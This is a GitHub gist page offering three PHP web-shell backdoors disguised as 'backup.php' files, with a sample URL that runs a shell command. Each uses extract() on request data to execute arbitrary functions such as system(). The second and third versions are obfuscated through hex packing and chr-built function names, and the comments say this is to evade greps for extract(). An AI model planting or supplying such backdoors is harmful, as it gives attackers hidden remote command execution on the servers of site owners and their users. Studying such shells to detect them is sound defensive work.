Skip to content

Instantly share code, notes, and snippets.

@leonjza

leonjza/backup.php

Last active August 18, 2020 15:10
Show Gist options
  • Star 4 You must be signed in to star a gist
  • Fork 5 You must be signed in to fork a gist
  • Save leonjza/2ecc2d8746347e7eea10 to your computer and use it in GitHub Desktop.
Save leonjza/2ecc2d8746347e7eea10 to your computer and use it in GitHub Desktop.
Download ZIP
PHP extract() Backdoor RCE | Sample usage: foo.bar/backup.php?ctime=system&atime=ls -lah
Raw
backup.php
<?php extract($_REQUEST); @die($ctime($atime));
Raw
backup_.php
<?php $debug = pack("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime));
// Slightly Obfuscated to evade some greps for extract() method
Raw
backup__.php
<?php $debug = "ch". "r"; $debug = implode(array_map($debug, explode(":","112:97:99:107"))); $debug = $debug("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime));
// Even more obfustication to avoid using any 'suspect' functions directly
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment